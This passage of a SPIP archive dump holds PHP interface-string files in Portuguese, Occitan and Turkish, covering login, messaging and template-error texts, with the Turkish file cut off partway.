'info_nouveau_message' => 'TEM UMA NOVA MENSAGEM',
'info_nouveaux_messages' => 'TEM @total_messages@ NOVAS MENSAGENS',
'info_numero_abbreviation' => '<N° >',
'info_obligatoire' => 'Esta informação é obrigatória',
'info_pense_bete' => 'MEMORANDO',
'info_petit_ecran' => 'Ecrã Pequeno',
'info_petition_close' => 'Petição encerrada',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'Muitas palavras-chave encontradas para "@cherche_mot@":',
'info_portfolio_automatique' => 'Portfolio automático :',
'info_premier_resultat' => '[@debut_limit@ primeiros resultados em @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primeiros resultados em @total@]',
'info_propose_1' => '[@nom_site_spip@] Proposto : @titre@',
'info_propose_2' => 'Artigos propostos
----------------',
'info_propose_3' => 'O artigo "@titre@" é proposto para publicação.',
'info_propose_4' => 'Está convidado a vir consultá-lo e a dar a sua opinião',
'info_propose_5' => 'no fórum que lhe está ligado. Está disponível no endereço:',
'info_publie_01' => 'O artigo "@titre@" foi validado por @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICADO : @titre@',
'info_publie_2' => 'Artigo publicado
--------------',
'info_rechercher' => 'Procurar',
'info_rechercher_02' => 'Procurar :',
'info_remplacer_vignette' => 'Substituir a miniatura por defeito por um logotipo personalizado :',
'info_rubriques_nb' => '@nb@ rubricas',
'info_rubriques_un' => '1 rubrica',
'info_sans_titre_2' => 'sem título',
'info_selectionner_fichier' => 'Pode seleccionar um ficheiro da pasta @upload@',
'info_selectionner_fichier_2' => 'Seleccionar um ficheiro :',
'info_sites_nb' => '@nb@ sítios',
'info_sites_un' => '1 sítio',
'info_supprimer_vignette' => 'suprimir a miniatura',
'info_symbole_bleu' => 'O símbolo <b>azul</b> indica um<b>memorando </b>: isto é uma mensagem para o seu uso pessoal.',
'info_symbole_jaune' => 'O símbolo<b>amarelo</b> indica um <b>anúncio a todos os redactores</b> : modificável por todos os administradores, e visível por todos os redactores.',
'info_symbole_vert' => 'O símbolo<b>verde</b> indica as <b>mensagens trocadas com outros utilizadores</b> do sítio.',
'info_telecharger_nouveau_logo' => 'Telecarregar um novo logotipo :',
'info_telecharger_ordinateur' => 'Telecarregar do seu computador :',
'info_tous_resultats_enregistres' => '[todos os resultados estão registados]',
'info_tout_afficher' => 'Exibir tudo',
'info_travaux_texte' => 'Este sítio ainda não está configurado. Volte mais tarde...',
'info_travaux_titre' => 'Sítio em construção',
'info_trop_resultat' => 'Demasiado resultados para "@cherche_mot@". Por favor afine a pesquisa.',
'info_utilisation_messagerie_interne' => 'Você utiliza o correio interno deste sítio.',
'info_valider_lien' => 'validar esta ligação',
'info_verifier_image' => ', Por favor verifique se as suas imagens foram transferidas correctamente.',
'info_vignette_defaut' => 'Miniatura por defeito',
'info_vignette_personnalisee' => 'Miniatura personalizada',
'info_visite' => 'visita :',
'info_vos_rendez_vous' => 'Os seus futuros encontros',
'infos_vos_pense_bete' => 'Os seus memorandos',
// L
'label_ajout_id_rapide' => 'Adição rápida',
'label_poids_fichier' => 'Dimensões',
'lien_afficher_icones_seuls' => 'Exibir apenas os ícones',
'lien_afficher_texte_icones' => 'Exibir ícones e o texto',
'lien_afficher_texte_seul' => 'Exibir apenas o texto',
'lien_liberer' => 'desbloquear',
'lien_liberer_tous' => 'desbloquear estes artigos',
'lien_nouvea_pense_bete' => 'NOVO MEMORANDO',
'lien_nouveau_message' => 'NOVA MENSAGEM',
'lien_nouvelle_annonce' => 'NOVO ANÚNCIO',
'lien_petitions' => 'PETIÇÃO',
'lien_popularite' => 'popularidade : @popularite@%',
'lien_racine_site' => 'RAIZ DO SÍTIO',
'lien_reessayer' => 'tentar de novo',
'lien_repondre_message' => 'Responder a esta mensagem',
'lien_supprimer' => 'eliminar',
'lien_tout_afficher' => 'Exibir tudo',
'lien_visite_site' => 'visitar este sítio',
'lien_visites' => '@visites@ visitas',
'lien_voir_auteur' => 'Ver este autor',
'ligne' => 'Linha',
'login' => 'Ligação',
'login_acces_prive' => 'acesso ao espaço privado',
'login_autre_identifiant' => 'ligar-se sob um outro identificador',
'login_cookie_accepte' => 'Por favor configure o seu navegador para que os aceite (pelo menos para este sítio).',
'login_cookie_oblige' => 'Para se identificar de maneira segura neste sítio, deve aceitar os cookies.',
'login_deconnexion_ok' => 'Ligação terminada.',
'login_erreur_pass' => 'Erro de palavra-passe',
'login_espace_prive' => 'área privada',
'login_identifiant_inconnu' => 'O identificador « @login@ » é desconhecido.',
'login_login' => 'Login :',
'login_login2' => 'Login ou endereço de e-mail :',
'login_login_pass_incorrect' => '(Login ou palavra-passe incorrecta.)',
'login_motpasseoublie' => 'palavra - passe esquecida ?',
'login_non_securise' => 'Atenção, este formulário não é seguro.
Se não quiser que a sua palavra-passe seja
interceptada na rede, por favor active Javascript
no seu navegador e',
'login_nouvelle_tentative' => 'Nova tentativa',
'login_par_ici' => 'Você está registado... por aqui....',
'login_pass2' => 'Palavra-passe :',
'login_preferez_refuser' => '<b>Se prefere recusar os cookies</b>, um outro método de ligação (menos seguro) está à sua disposição',
'login_recharger' => 'carregar de novo esta página ',
'login_rester_identifie' => 'Permanecer identificado durante alguns dias ',
'login_retour_public' => 'Regresso ao sítio público',
'login_retour_site' => 'Regresso ao sítio público',
'login_retoursitepublic' => 'Regresso ao sítio público',
'login_sans_cookiie' => 'identificação sem cookie',
'login_securise' => 'Login seguro',
'login_sinscrire' => 'inscrever-se',
'login_test_navigateur' => 'teste navegação/nova ligação',
'login_verifiez_navigateur' => '(Verifique, porém, que o seu navegador não memorizou a sua palavra-passe...)',
// M
'masquer_colonne' => 'Ocultar esta coluna',
'masquer_trad' => 'ocultar as traduções',
'module_fichiers_langues' => 'Ficheiros de idioma',
// N
'navigateur_pas_redirige' => 'Se o seu navegador não está redireccionado, clique aqui para continuar.',
'numero' => 'Número',
// O
'occurence' => 'Ocorrência',
'onglet_affacer_base' => 'Apagar a base de dados',
'onglet_auteur' => 'O autor',
'onglet_contenu_site' => 'Conteúdo do sítio',
'onglet_evolution_visite_mod' => 'Evolução',
'onglet_fonctions_avances' => 'Funções avançadas',
'onglet_informations_personnelles' => 'Informações pessoais',
'onglet_interactivite' => 'Interactividade',
'onglet_messagerie' => 'Correio',
'onglet_repartition_rubrique' => 'Distribuição das rubricas',
'onglet_save_restaur_base' => 'Guardar uma cópia/restaurar a base',
'onglet_vider_cache' => 'Esvaziar a cache',
// P
'pass_choix_pass' => 'Por favor escolha a sua nova palavra-passe',
'pass_erreur' => 'Erro',
'pass_erreur_acces_refuse' => '<b>Erro :</b> já não tem acesso a este sítio.',
'pass_erreur_code_inconnu' => '<b>Erro :</b> este código não corresponde a nenhum dos visitantes com acesso a este sítio.',
'pass_erreur_non_enregistre' => '<b>Erro :</b> o endereço <tt>@email_oubli@</tt> não está registado neste sítio. ',
'pass_erreur_non_valide' => '<b>Erro :</b> este email <tt>@email_oubli@</tt> não é válido ! ',
'pass_erreur_probleme_technique' => '<b>Erro :</b> por causa de um problema técnico, o email não pôde ser enviado.',
'pass_espace_prive_bla' => 'O espaço privado deste sítio está aberto aos
visitantes, após inscrição. Uma vez registado poderá consultar os artigos em curso de redacção,
propor artigos e participar em todos os fóruns.',
'pass_forum_bla' => 'Pediu para intervir num fórum
reservado aos visitadores registados.',
'pass_indiquez_cidessous' => 'Indique abaixo o endereço email sob o qual se registou. Receberá
um mail que indicará o procedimento a seguir para
recuperar o seu acesso.',
'pass_mail_passcookie' => '(esta é uma mensagem automática)
Para recuperar o seu acesso ao sítio
@nom_site_spip@ (@adresse_site@)
Por favor vá ao seguinte endereço :
@sendcookie@
Poderá então introduzir uma nova palavra-passe e reconectar-se ao sítio.
',
'pass_mot_oublie' => 'Palavra-passe esquecida',
'pass_nouveau_enregistre' => 'A sua nova palavra-passe foi registada',
'pass_nouveau_pass' => 'Nova palavra-passe',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Palavra-passe esquecida',
'pass_procedure_changer' => 'Para alterar a sua palavra-passe, temos primeiro de verificar a sua identidade. Por favor escreva o endereço e-mail associado a esta conta.',
'pass_quitter_fenetre' => 'Fechar esta janela',
'pass_rappel_login' => 'Recorde : o seu identificador (login) é « @login@ ».',
'pass_recevoir_mail' => 'Vai receber um email que indica como recuperar o seu acesso ao sítio.',
'pass_retour_public' => 'Regresso ao sítio público',
'pass_rien_a_faire_ici' => 'Nada a fazer aqui.',
'pass_vousinscrire' => 'Inscrever-se neste sítio',
'precedent' => 'anterior',
'previsualisation' => 'Visualização',
'previsualiser' => 'Pré-visualizar',
// R
'retour' => 'Retroceder',
// S
'spip_conforme_dtd' => 'SPIP considera esta página em conforme com o seu DOCTYPE :',
'squelette' => 'modelo',
'squelette_inclus_ligne' => 'modelo incluído, linha',
'squelette_ligne' => 'modelo, linha',
'stats_visites_et_popularite' => '@visites@ visitas ; popularidade : @popularite@',
'suivant' => 'seguinte',
// T
'taille_go' => '@taille@ Gb',
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => ' @taille@ bytes',
'texte_actualite_site_1' => 'Quando estiver familiarizado(a) com a interface, poderá clicar em «',
'texte_actualite_site_2' => 'interface completa',
'texte_actualite_site_3' => '» para abrir mais possibilidades.',
'texte_creation_automatique_vignette' => 'A criação automática de miniaturas de pré-visualização está activada neste sítio. Se instalar a partir deste formulário imagens de formato(s) @gd_formats@, serão acompanhadas de uma miniatura de um tamanho máximo de @taille_preview@ pixels.',
'texte_documents_associes' => 'Os documentos seguintes estão associados ao artigo,
mas não foram directamente
inseridos nele. Conforme a paginação do sítio público,
poderão aparecer sob forma de documentos anexados.',
'texte_erreur_mise_niveau_base' => 'Erro de base de dados por ocasião do nivelamento.
A imagem <b>@fichier@</b> não passou (artigo @id_article@).
Note bem esta referência, volte a tentar o nivelamento, e verifique se as imagens aparecem sempre nos artigos.',
'texte_erreur_visiteur' => 'Tentou aceder à área privada usando um login não autorizado.',
'texte_inc_auth_1' => 'Você está identificado sob o
login <b>@auth_login@</b>, mas este já/ não existe na base de dados.
Tente',
'texte_inc_auth_2' => 'refazer a ligação',
'texte_inc_auth_3' => ', depois de eventualmente ter fechado e
voltado a abrir o seu navegador.',
'texte_inc_config' => 'As modificações efectuadas nestas páginas influenciam muito o
funcionamento do seu sítio. Recomendamos que não intervenha enquanto não estiver familiarizado com o funcionamento do sistema SPIP. <br /><br /><b> Em
geral, é fortemente recomendado
deixar a responsabilidade dessas páginas ao webmaster principal do seu sítio. <b>',
'texte_inc_meta_1' => 'O sistema encontrou um erro durante a escrita do arquivo <code>@fichier@</code>. Como administrador do sítio, por favor,',
'texte_inc_meta_2' => 'verificar as permissões de escrita',
'texte_inc_meta_3' => 'no directório <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'em curso de redacção',
'texte_statut_poubelle' => 'para o caixote de lixo',
'texte_statut_propose_evaluation' => 'proposto para avaliação',
'texte_statut_publie' => 'publicado online',
'texte_statut_refuse' => 'recusado',
'titre_ajouter_mot_cle' => 'ACRESCENTAR UMA PALAVRA-CHAVE',
'titre_cadre_raccourcis' => 'ATALHOS :',
'titre_changer_couleur_interface' => 'Mudar a cor da interface',
'titre_image_admin_article' => 'Pode administrar este artigo',
'titre_image_administrateur' => 'Administrador',
'titre_image_aide' => 'Ajuda sobre este elemento',
'titre_image_auteur_supprime' => 'Autor eliminado',
'titre_image_redacteur' => 'Redactor sem acesso',
'titre_image_redacteur_02' => 'Redactor',
'titre_image_selecteur' => 'Exibir a lista',
'titre_image_visiteur' => 'Visitante',
'titre_joindre_document' => 'ANEXAR UM DOCUMENTO',
'titre_mots_cles' => 'PALAVRAS-CHAVE',
'titre_probleme_technique' => 'Atenção : um problema técnico (servidor SQL) impede o acesso a esta parte do sítio. Obrigado pela sua compreensão.',
'titre_publier_document' => 'PUBLICAR UM DOCUMENTO NESTA RUBRICA',
'titre_signatures_attente' => 'Assinaturas aguardando validação',
'titre_signatures_confirmees' => 'Assinaturas confirmadas',
'titre_statistiques' => 'Estatísticas do sítio',
'titre_titre_document' => 'Título do documento :',
'todo' => 'a caminho',
'trad_reference' => '(referência para as traduções)',
// Z
'zbug_balise_b_aval' => ': tag B colocada demasiado tarde no laço infinito',
'zbug_balise_inexistante' => 'Tag @balise@ mal declarada para @from@',
'zbug_balise_sans_argument' => 'Argumento em falta na tag @balise@',
'zbug_boucle' => 'laço infinito',
'zbug_boucle_recursive_undef' => 'laço recursivo não definido @nom@',
'zbug_calcul' => 'cálculo',
'zbug_champ_hors_boucle' => 'Campo @champ@ fora do laço infinito',
'zbug_champ_hors_motif' => 'Campo @champ@ fora de contexto @motif@',
'zbug_code' => 'código',
'zbug_critere_inconnu' => 'critério desconhecido @critere@ ',
'zbug_distant_interdit' => 'Dados externos interditos',
'zbug_doublon_table_sans_cle_primaire' => 'Entradas duplas numa tabela que não tem uma chave primária simples',
'zbug_doublon_table_sans_index' => 'Entradas duplas numa tabela sem índice',
'zbug_erreur_boucle_double' => 'laço @id@: Dupla definição ',
'zbug_erreur_boucle_fermant' => 'laço @id@: tag final em falta ',
'zbug_erreur_boucle_syntaxe' => 'Laço com sintaxe incorrecta @id@',
'zbug_erreur_compilation' => 'Erro de compilação',
'zbug_erreur_execution_page' => 'erro de execução da página',
'zbug_erreur_filtre' => 'Erro : filtro indefinido @filtre@ ',
'zbug_erreur_meme_parent' => '{meme_parent} aplica-se exclusivamente aos laços (FORUMS) ou (RUBRIQUES)',
'zbug_erreur_squelette' => 'Erro(s) no modelo',
'zbug_hors_compilation' => 'Não compilado',
'zbug_info_erreur_squelette' => 'Erro no sítio',
'zbug_inversion_ordre_inexistant' => 'inversão de uma ordem inexistente',
'zbug_pagination_sans_critere' => '#PAGINAÇÃO sem critério {paginação} ou usada num laço recursivo',
'zbug_parametres_inclus_incorrects' => 'Parâmetros de inclusão incorrectos: @param@',
'zbug_profile' => 'Cálculo de tempo : @time@',
'zbug_resultat' => 'resultado',
'zbug_serveur_indefini' => 'Sevidor SQL não definido',
'zbug_statistiques' => 'Estatísticas das consulta SQL classificadas por duração',
'zbug_table_inconnue' => 'Tabela SQL «@table@» desconhecida',
'zxml_connus_attributs' => 'attributos conhecidos',
'zxml_de' => 'de',
'zxml_inconnu_attribut' => 'atributo desconhecido',
'zxml_inconnu_balise' => 'tag desconhecida',
'zxml_inconnu_entite' => 'entidade desconhecida',
'zxml_inconnu_id' => 'ID desconhecido',
'zxml_mais_de' => 'mas de',
'zxml_non_conforme' => 'não está de acordo com o princípio',
'zxml_non_fils' => 'não é um filho de ',
'zxml_nonvide_balise' => 'a tag não está vazia',
'zxml_obligatoire_attribut' => 'atributo obrigatório está em falta',
'zxml_succession_fils_incorrecte' => 'sucessão de filhos incorrecta',
'zxml_survoler' => 'para visualizar os correctos, mover o rato por cima',
'zxml_valeur_attribut' => 'valor do atributo',
'zxml_vide_balise' => 'tag vazia',
'zxml_vu' => 'visualizado antes'
);
?>
public_oc_ni.php 0000666 00000007620 15252547432 0007724 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=oc_ni
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Acuèlh dau sit', # MODIF
'article' => 'Article',
'articles' => 'Articles',
'articles_auteur' => 'Articles d’aquel autor',
'articles_populaires' => 'Lu articles mai populars',
'articles_rubrique' => 'Articles d’aquela rubrica',
'aucun_article' => 'Li a minga d’article à-n-aquela adreça ',
'aucun_auteur' => 'Li a minga d’autor à-n-aquela adreça ',
'aucun_site' => 'Li a minga de sit à-n-aquela adreça ',
'aucune_breve' => 'Li a minga de brèva à-n-aquela adreça ',
'aucune_rubrique' => 'Li a minga de rubrica à-n-aquela adreça ',
'auteur' => 'Autor',
'autres' => 'Autres',
'autres_breves' => 'Autri brèvas',
'autres_groupes_mots_clefs' => 'Autres grops de mòts claus',
'autres_sites' => 'Autres sits',
// B
'bonjour' => 'Boanjorn',
// C
'commenter_site' => 'Comentar aqueu sit',
'contact' => 'Contacte',
'copie_document_impossible' => 'Impossible de copiar lo document',
// D
'date' => 'Data',
'dernier_ajout' => 'Darrièr ajust',
'dernieres_breves' => 'Darrièras brèvas',
'derniers_articles' => 'Darrièrs articles',
'derniers_commentaires' => 'Darrièrs comentaris',
'derniers_messages_forum' => 'Darrièrs messatges publicats dins lu fòros',
// E
'edition_mode_texte' => 'Edicion en mòde tèxt de',
'en_reponse' => 'En respoasta à :',
'en_resume' => 'En resumit',
'envoyer_message' => 'Mandar un messatge',
'espace_prive' => 'Espaci privat',
// F
'formats_acceptes' => 'Formats acceptats : @formats@.',
// H
'hierarchie_site' => 'Ierarquia dau sit',
// J
'jours' => 'jorns',
// L
'lien_connecter' => 'Si conectar',
// M
'meme_auteur' => 'Dau meme autor',
'meme_rubrique' => 'Dins la mema rubrica',
'memes_auteurs' => 'Dei memes autors',
'message' => 'Messatge',
'messages_forum' => 'Messatges',
'messages_recents' => 'Lu messatges de fòros mai recents',
'mots_clef' => 'Mòt-clau',
'mots_clefs' => 'Mòts claus',
'mots_clefs_meme_groupe' => 'Mòts claus dins lo meme grop',
// N
'navigation' => 'Navigacion',
'nom' => 'Nom',
'nouveautes' => 'Li novèutats',
'nouveautes_web' => 'Novèutats sus lo web',
'nouveaux_articles' => 'Articles nòus',
'nouvelles_breves' => 'Brèvas novèlas',
// P
'page_precedente' => 'pàgina anteriora',
'page_suivante' => 'pàgina seguenta',
'par_auteur' => 'da',
'participer_site' => 'Podètz participar à la vida d’aqueu sit e prepauar lu voastres articles en vos inscrivent çai sota. Receberètz un e-mail que v’indicarà lu voastres còdes per accedir à l’espaci privat dau sit.',
'plan_site' => 'Plan dau sit',
'popularite' => 'Popularitat',
'poster_message' => 'Postar un messatge',
'proposer_site' => 'Podètz prepauar un site à ajustar dins aquela rubrica :',
// R
'repondre_article' => 'Respoandre à-n-aquel article',
'repondre_breve' => 'Respoandre à-n-aquela brèva',
'resultats_recherche' => 'Resultats de la recèrca',
'retour_debut_forums' => 'Retorn au començament dei fòros',
'rubrique' => 'Rubrica',
'rubriques' => 'Rubricas',
// S
'signatures_petition' => 'Signaturas',
'site_realise_avec_spip' => 'Sit realisat embé SPIP',
'sites_web' => 'Sits web',
'sous_rubriques' => 'Sosrubricas',
'spam' => 'Spam',
'suite' => 'seguida',
'sur_web' => 'Sus lo web',
'syndiquer_rubrique' => 'Sindicar aquela rubrica',
'syndiquer_site' => 'Sindicar tot lo sit',
// T
'texte_lettre_information' => 'Vequí la letra d’informacion dau sit',
'texte_lettre_information_2' => 'Aquela letra recensa li noveutas publicadi despí',
// V
'ver_imprimer' => 'Version d’estampar',
'voir_en_ligne' => 'Vejatz en linha',
'voir_squelette' => 'Veire l’esqueleta d’aquela pàgina'
);
?>
ecrire_tr.php 0000666 00000176224 15252547432 0007264 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=tr
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Plugin’i etkinleştir',
'affichage' => 'Gösterim',
'aide_non_disponible' => 'Çevrimiçi yardımın bu kısmı henüz bu dile çevrilmemiş.',
'auteur' => 'Yazar :',
'avis_acces_interdit' => 'Erişim yasak.',
'avis_article_modifie' => 'Dikkat, @nom_auteur_modif@ bu metin üzerinde @date_diff@ dakika önce çalıştı',
'avis_aucun_resultat' => 'Hiç sonuç yok.',
'avis_chemin_invalide_1' => 'Seçtiğiniz yol',
'avis_chemin_invalide_2' => 'geçersiz gözüküyor. Verdiğiniz bilgileri kontrol etmek için lütfen bir önceki sayfaya dönün.',
'avis_connexion_echec_1' => 'SQL veri tabanına bağlantı başarısız.',
'avis_connexion_echec_2' => 'Bir önceki sayfaya geri dönüp verdiğiniz bilgileri kontrol edin.',
'avis_connexion_echec_3' => '<b>Not:</b> Bir çok sunucuda, SQL veritabanı kullanabilmek için aktive edilmesini <b>talep etmeniz</b> gerekir. Eğer bağlanamıyorsanız bunu talep edip etmediğinizi kontrol edin.',
'avis_connexion_ldap_echec_1' => 'LDAP sunucusuna bağlantı başarısız.',
'avis_connexion_ldap_echec_2' => 'Bir önceki sayfaya dönüp verdiğiniz bilgileri kontrol edin.',
'avis_connexion_ldap_echec_3' => 'Buna alternatif olarak, kullanıcı ithal etmek için LDAP sunucusunu kullanmayın.',
'avis_deplacement_rubrique' => 'Dikkat ! Bu bölüm @contient_breves@ kısa haber @scb@ içeriyor: eğer yerini değiştiriyorsanız (taşıyorsanız) lütfen bu onay kutucuğunu işaretleyin.',
'avis_destinataire_obligatoire' => 'Bu iletiyi yollamadan önce kime yollamak istediğinizi belirmelisiniz.',
'avis_erreur_connexion_mysql' => 'SQL bağlantısı hatası',
'avis_erreur_version_archive' => '<b>Dikkat! @archive@ dosyası kullandığınız
SPIP sürümüne uymuyor.</b> Büyük zorluklarla
karşılaşabilirsiniz: veritabanınızın kaybı,
sitenin düzgün çalışmaması vb.
Bu ithal istemini onaylamayın.
<p>Daha fazla bilgi için <a href="@spipnet@">SPIP kullanma kılavuzuna bakın.</a>', # MODIF
'avis_espace_interdit' => '<b>Yasak alan</b><div>SPIP zaten kurulu.</div>',
'avis_lecture_noms_bases_1' => 'Kurulum yazılımı mevcut veritabanlarının isimlerini okuyamadı.',
'avis_lecture_noms_bases_2' => 'Ya mevcut veritabanı yok, ya da veritabanlarının listesini almaya yarayan komut güvenlik nedeniyle kullanıma kapatılmış (bir çok barındırma şirketinde alınan bir tedbir).',
'avis_lecture_noms_bases_3' => 'İkinci durumda, büyük olasılıkla kullanıcı isminizle aynı isimde bir veritabanı var :',
'avis_non_acces_message' => 'Bu iletiye erişiminiz yok.',
'avis_non_acces_page' => 'Bu sayfaya erişiminiz yok.',
'avis_operation_echec' => 'İşlem başarısız.',
'avis_operation_impossible' => 'Olanaksız işlem',
'avis_probleme_archive' => '@archive@ dosyasını okurken sorun çıktı',
'avis_suppression_base' => 'DİKKAT, verileri silme işlemi geri alınamaz',
'avis_version_mysql' => 'Kullandığınız (@version_mysql@) SQL sürümü veritabanı tablolarının otomatik onarımına izin vermiyor.',
// B
'bouton_acces_ldap' => 'LDAP’a erişim ekle >>',
'bouton_ajouter' => 'Ekle',
'bouton_ajouter_participant' => 'BİR KATILIMCI EKLE :',
'bouton_annonce' => 'DUYURU',
'bouton_annuler' => 'İptal',
'bouton_checkbox_envoi_message' => 'ileti gönderme olanağı',
'bouton_checkbox_indiquer_site' => 'bir Web sitesi belirtmek zorundasınız',
'bouton_checkbox_signature_unique_email' => 'e-posta adresi başına sadece bir imza',
'bouton_checkbox_signature_unique_site' => 'site başına sadece bir imza',
'bouton_demande_publication' => 'Bu makalenin yayınlanmasını iste',
'bouton_desactive_tout' => 'Hepsinin etkinliğini durdur ',
'bouton_desinstaller' => 'Sil',
'bouton_effacer_index' => 'Endeksleri sil',
'bouton_effacer_tout' => 'HEPSİNİ sil',
'bouton_envoi_message_02' => 'İLETİ YOLLA',
'bouton_envoyer_message' => 'İletinin son hali : yolla',
'bouton_modifier' => 'Değiştir',
'bouton_pense_bete' => 'KiŞiSEL NOT DEFTERi',
'bouton_radio_activer_messagerie' => 'Sitenin iç ileti sistemini aç',
'bouton_radio_activer_messagerie_interne' => 'Sitenin iç ileti sistemini etkinleştir',
'bouton_radio_activer_petition' => 'İmza kampanyasını aç',
'bouton_radio_afficher' => 'Göster ',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Bağlı yazarlar listesinde görün',
'bouton_radio_desactiver_messagerie' => 'İleti sistemini kapat',
'bouton_radio_envoi_annonces_adresse' => 'Duyuruları bu adrese yolla :',
'bouton_radio_envoi_liste_nouveautes' => 'Yenilikler listesini yolla ',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Yazarlar listesinde görünme',
'bouton_radio_non_envoi_annonces_editoriales' => 'Editör duyurularını gönderme',
'bouton_radio_pas_petition' => 'Dilekçe yok',
'bouton_radio_petition_activee' => 'Etkinleştirilmiş dilekçe',
'bouton_radio_supprimer_petition' => 'Dilekçeyi sil',
'bouton_redirection' => 'YÖNLENDİRME',
'bouton_relancer_installation' => 'Kurulumu tekrar başlat',
'bouton_suivant' => 'Bir sonraki ',
'bouton_tenter_recuperation' => 'Onarmayı dene',
'bouton_test_proxy' => 'Vekili dene',
'bouton_vider_cache' => 'Önbelleği boşalt',
'bouton_voir_message' => 'Bu iletiyi onaylamadan önce görüntüle',
// C
'cache_mode_compresse' => 'Önbellek dosyaları sıkıştırılmış kipte saklanıyor. ',
'cache_mode_non_compresse' => 'Önbellek dosyaları sıkıştırılmamış kipte saklanıyor.',
'cache_modifiable_webmestre' => 'Bu parametreler site yöneticisi tarafından değiştirilebilir.',
'calendrier_synchro' => 'iCal uyumlu bir günlük uygulama yazılımı kullanıyorsanız onu bu sitedeki bilgilerle eşzamanlaştırabilirsiniz. ',
'config_activer_champs' => 'Şu alanları aktive et',
'config_choix_base_sup' => 'Bu sunucuda bir veri tabanı belirt',
'config_erreur_base_sup' => 'SPIP erişilebilir veri tabanıları listesine erişemiyor',
'config_info_base_sup' => 'SPIP üzerinden, SQL veya bir başka sunucu ile sorgulayacağınız başka veri tabanları varsa, aşağıdaki form bunları tanımlamanızı sağlar. Bazı alanları boş bırakırsanız ana veri tabanına bağlanmak için kullanılan bağlantı tanımlayıcıları kullanılacaktır.',
'config_info_base_sup_disponibles' => 'Şu anda sorgulanabilir ek veri tabanları:',
'config_info_enregistree' => 'Yeni konfigürasyon kaydedildi',
'config_info_logos' => 'Sitenin her elemanı « üzerinden geçiş logosu da dahil olmak üzere » bir logoya sahip olabilir ',
'config_info_logos_utiliser' => 'Logoları kullan',
'config_info_logos_utiliser_non' => 'Logoları kullanma',
'config_info_logos_utiliser_survol' => 'Üzerinden geçiş logolarını kullan',
'config_info_logos_utiliser_survol_non' => 'Üzerinden geçiş logolarını kullanma',
'config_info_redirection' => 'Bu seçeneği aktive ederek SPIP dışında veya başka sitelerde yayınlanmış basit makale referansları içeren sanal makaleler oluşturabilirsiniz.',
'config_redirection' => 'Sanal makaleler',
'config_titre_base_sup' => 'Ek bir veri tabanının tanımlanması',
'config_titre_base_sup_choix' => 'Ek bir veri tabanı seçiniz',
'connexion_ldap' => 'Bağlantı :',
'copier_en_local' => 'Yerel olarak kopyala',
// D
'date_mot_heures' => 'saat ',
// E
'email' => 'e-posta',
'email_2' => 'e-posta :',
'entree_adresse_annuaire' => 'Rehber adresi',
'entree_adresse_email' => 'E-posta adresiniz',
'entree_base_donnee_1' => 'Veritabanı adresi',
'entree_base_donnee_2' => '(Bu adres çoğunlukla site adresinize karşı düşer, bazen «localhost» ifadesine karşı düşer, bazen tamamen boş bırakılır.)',
'entree_biographie' => 'Bir kaç sözcükle kısa biyografi.',
'entree_chemin_acces' => 'Erişim yolunu <b>giriniz</b> :',
'entree_cle_pgp' => 'PGP anahtarınız',
'entree_contenu_rubrique' => '(Bir kaç sözcükle bölüm içeriği.)',
'entree_identifiants_connexion' => 'Bağlantı tanımlayıcılarınız...',
'entree_informations_connexion_ldap' => 'Lütfen bu forma LDAP rehberine bağlantı için kullandığınız bilgileri giriniz. Bu bilgiler size sistem ya da ağ yöneticisi tarafından verilebilir.',
'entree_infos_perso' => 'Kimsiniz ?',
'entree_interieur_rubrique' => 'Bölüm içerisinde :',
'entree_liens_sites' => '<b>Hipermetin bağı</b> (atıflar, ziyaret edilecek site...)',
'entree_login' => 'Kullanıcı isminiz',
'entree_login_connexion_1' => 'Bağlantı için kullanıcı ismi',
'entree_login_connexion_2' => '(Bazen FTP’ye bağlandığınız kullanıcı isminizdir bazen boş bırakılır) ',
'entree_login_ldap' => 'Başlangıçtaki LDAP girişi',
'entree_mot_passe' => 'Şifreniz',
'entree_mot_passe_1' => 'Bağlantı şifreniz',
'entree_mot_passe_2' => '(Bazen FTP şifrenize karşı düşer; bazen boş bırakılır)',
'entree_nom_fichier' => 'Lütfen dosya ismini giriniz @texte_compresse@:',
'entree_nom_pseudo' => 'Adınız ya da takma adınız ',
'entree_nom_pseudo_1' => '(Adınız ya da takma adınız) ',
'entree_nom_site' => 'Sitenizin adı ',
'entree_nouveau_passe' => 'Yeni şifre',
'entree_passe_ldap' => 'Şifre',
'entree_port_annuaire' => 'Rehberin kapı numarası',
'entree_signature' => 'İmza',
'entree_titre_obligatoire' => '<b>Başlık</b> [Zorunlu]',
'entree_url' => 'Sitenizin adresi (URL)',
'erreur_plugin_fichier_absent' => 'Dosya eksik',
'erreur_plugin_fichier_def_absent' => 'Tanımlama dosyası eksik',
'erreur_plugin_nom_fonction_interdit' => 'Yasaklanmış işlev ismi',
'erreur_plugin_nom_manquant' => 'Plugin ismi eksik',
'erreur_plugin_prefix_manquant' => 'Plugin isimlendirme alanı tanımlanmamış',
'erreur_plugin_tag_plugin_absent' => 'Tanımlama dosyasında <plugin> eksik',
'erreur_plugin_version_manquant' => 'Plugin’in uyarlaması eksik',
// I
'ical_info1' => 'Bu sayfa bu sitenin yaşamı ile temas halinde kalmak için bir kaç yöntem sunmaktadır. ',
'ical_info2' => 'Bu teknikler hakkında daha ayrıntılı bilgi için, <a href="@spipnet@">SPIP dokümanlarına</a> bakmaktan çekinmeyiniz.',
